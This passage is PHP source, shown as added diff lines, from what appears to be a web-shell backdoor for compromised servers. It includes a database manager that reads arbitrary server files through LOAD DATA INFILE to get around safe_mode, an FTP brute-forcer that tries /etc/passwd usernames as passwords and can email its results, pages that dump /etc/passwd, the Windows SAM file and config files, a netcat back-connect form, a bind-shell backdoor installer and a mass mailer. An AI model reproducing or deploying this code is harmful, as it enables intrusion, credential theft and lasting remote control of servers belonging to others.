`".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>+</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") { + if (!empty($kill)) { + $query = "KILL ".$kill.";"; + $result = mysql_query($query, $sql_sock); + echo "<b>Process #".$kill." was killed.</b>"; + } + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); + } + } + } +} +echo "</td></tr></table>\n"; +if ($sql_sock) { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>"; +} +echo "</table>\n"; +} +//End of SQL Manager +if ($act == "ftpquickbrute") { +echo "<center><table><tr><td class=barheader colspan=2>"; +echo ".: Ftp Quick Brute :.</td></tr>"; +echo "<tr><td>"; +if ($win) { echo "Can't run on Windows!"; } +else { + function tpftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else { + if ($fqb_logging) { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) { + $str = explode(":",fgets($fp,2048)); + if (tpftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else { + $logfile = $tmpdir_logs."tpsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">". + "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>". + "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>". + "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>". + "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>"; + } + echo "</td></tr></table></center>"; +} +} +if ($act == "d") { + if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; } + else { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); tpshexit();} +if ($act == "security") { + echo "<div class=barheader>.: Server Security Information :.</div>\n". + "<table>\n". + "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n"; + echo "<td>Password File</td><td>"; + if (!$win) { + if ($nixpasswd) { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:<br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) { + $uid = posix_getpwuid($i); + if ($uid) { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";} + } + else { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; } + } + echo "</td></tr>\n"; + echo "<tr><td>Config Files</td><td>\n"; + if (!$win) { + $v = array( + array("User Domains","/etc/userdomains"), + array("Cpanel Config","/var/cpanel/accounting.log"), + array("Apache Config","/usr/local/apache/conf/httpd.conf"), + array("Apache Config","/etc/httpd.conf"), + array("Syslog Config","/etc/syslog.conf"), + array("Message of The Day","/etc/motd"), + array("Hosts","/etc/hosts") + ); + $sep = "/"; + } + else { + $windir = $_SERVER["WINDIR"]; + $etcdir = $windir . "\system32\drivers\etc\\"; + $v = array( + array("Hosts",$etcdir."hosts"), + array("Local Network Map",$etcdir."networks"), + array("LM Hosts",$etcdir."lmhosts.sam"), + ); + $sep = "\\"; + } + foreach ($v as $sec_arr) { + $sec_f = substr(strrchr($sec_arr[1], $sep), 1); + $sec_d = rtrim($sec_arr[1],$sec_f); + $sec_full = $sec_d.$sec_f; + $sec_d = rtrim($sec_d,$sep); + if (file_get_contents($sec_full)) { + echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n"; + } + } + echo "</td></tr>"; + + function displaysecinfo($name,$value) { + if (!empty($value)) { + echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n"; + } + } + if (!$win) { + displaysecinfo("OS Version",tpexec("cat /proc/version")); + displaysecinfo("Kernel Version",tpexec("sysctl -a | grep version")); + displaysecinfo("Distrib Name",tpexec("cat /etc/issue.net")); + displaysecinfo("Distrib Name (2)",tpexec("cat /etc/*-realise")); + displaysecinfo("CPU Info",tpexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",tpexec("free -m")); + displaysecinfo("HDD Space",tpexec("df -h")); + displaysecinfo("List of Attributes",tpexec("lsattr -a")); + displaysecinfo("Mount Options",tpexec("cat /etc/fstab")); + displaysecinfo("lynx installed?",tpexec("which lynx")); + displaysecinfo("links installed?",tpexec("which links")); + displaysecinfo("GET installed?",tpexec("which GET")); + displaysecinfo("Where is Apache?",tpexec("whereis apache")); + displaysecinfo("Where is perl?",tpexec("whereis perl")); + displaysecinfo("Locate proftpd.conf",tpexec("locate proftpd.conf")); + displaysecinfo("Locate httpd.conf",tpexec("locate httpd.conf")); + displaysecinfo("Locate my.conf",tpexec("locate my.conf")); + displaysecinfo("Locate psybnc.conf",tpexec("locate psybnc.conf")); + } + else { + displaysecinfo("OS Version",tpexec("ver")); + displaysecinfo("Account Settings",tpexec("net accounts")); + displaysecinfo("User Accounts",tpexec("net user")); + } + echo "</table>\n"; +} +if ($act == "mkfile") { + if ($mkfile != $d) { + if ($overwrite == 0) { + if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); } + } + else { + if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); } + else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); } + } + } + else { echo "<div class=fxerrmsg>Enter filename!</div>\r\n"; } +} +if ($act == "encoder") { +echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>". + "<form name=\"encoder\" action=\"".$surl."\" method=POST>". + "<input type=hidden name=act value=encoder>". + "<center><table class=contents>". + "<tr><td colspan=4 class=barheader>.: Encoder :.</td>". + "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>". + "<input type=submit value=\"calculate\"></td></tr>". + "<tr><td rowspan=4>Hashes:</td>"; +foreach(array("md5","crypt","sha1","crc32") as $v) { + echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>"; +} +echo "</tr>". + "<tr><td rowspan=2>Url:</td>". + "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>". + "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>". + "<tr><td rowspan=2>Base64:</td>". + "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>". + "<tr><td>base64_decode:</td><td>"; +if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";} +else { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; } + else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; } + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>"; +} +echo "</td></tr>". + "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; +$c = strlen($encoder_input); +for($i=0;$i<$c;$i++) { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} +} +echo "\" readonly></td></tr></table></center></form>"; +} +if ($act == "fsbuff") { + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";} + else { + $fx_infohead = "File-System Buffer"; + $ls_arr = $arr; + $disp_fullpath = TRUE; + $act = "ls"; + } +} +if ($act == "selfremove") { + if (($submit == $rndcode) and ($submit != "")) { + if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; tpshexit(); } + else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; } + } + else { + if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\">\n". + "<input type=hidden name=act value=selfremove>". + "<input type=hidden name=rndcode value=\"".$rnd."\">". + "<b>Kill-shell: ".__FILE__." <br>". + "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=text name=submit>&nbsp;<input type=submit value=\"YES\">\n". + "</form>\n"; + } +} +if ($act == "update") { + $ret = tpsh_getupdate(!!$confirmupdate); + echo "<b>".$ret."</b>"; + if (stristr($ret,"new version")) { + echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">"; + } +} + +if ($act == 'backc') +{ + $ip = $_SERVER["REMOTE_ADDR"]; + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo('<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value='.$ip.'> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>First, run NetCat on your computer using \'<b>nc -l -n -v -p '.$bc_port.'</b>\'. Then, click "Connect" once the port is listening.</center>'); + echo $msg; + echo $emsg; +} + + +if ($act == 'backd'){ +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST> +Bind Port: <input type='text' name='backconnectport' value='5992'> +<input type='hidden' name='use' value='shbd'> +<input type='submit' value='Install Backdoor'></form>"); +echo("$msg"); +echo("$emsg"); +echo("</center>"); +} +if ($act == "mler") { + if (!empty($submit)){ + $headers = 'To: '.$dest_email."\r\n"; + $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n"; + if (mail($suppmail,$sender_subj,$sender_body,$header)) { + echo "<center><b>Email sent!</b></center>"; + } + else { echo "<center><b>Can't send email!</b></center>"; } + } + else { + echo "<form action=\"".$surl."\" method=POST>". + "<input type=hidden name=act value=mler>". + "<table class=contents><tr><td class=barheader colspan=2>". + "[ Mailer ]</td></tr>". + "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>". + "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>". + "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>". + "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>". + "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>". + "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>". + "</table>\n"; + } +} +if ($act == 'dec') { +?> +<iframe +src ="http://www.md5decrypter.co.uk/" +height="600" +width="100%"> +</iframe> +<?php +} +if ($act == 'rev') { +?> +<iframe +src ="http://www.yougetsignal.com/tools/web-sites-on-web-server//" +height="600" +width="100%"> +</iframe> +<?php +} +if ($act == "search") { + echo "<div class=barheader>.: $sh_name File-System Search :.</div>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array( + "name"=>$search_name, + "name_regexp"=>$search_name_regexp, + "text"=>$search_text, + "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {tpfsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<table class=contents>". + "<tr><td><form method=POST>". + "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">". + "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>". + "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>". + "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression". + " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only". + " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive". + " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>". + "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>". + "</table>\n"; + if ($act == "ls") { + $dspact = $act; + echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>". + "<hr size=\"1\" noshade>"; + } +} +if ($act == "chmod") { + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else { + $form = TRUE; + if ($chmod_submit) { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; } + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" 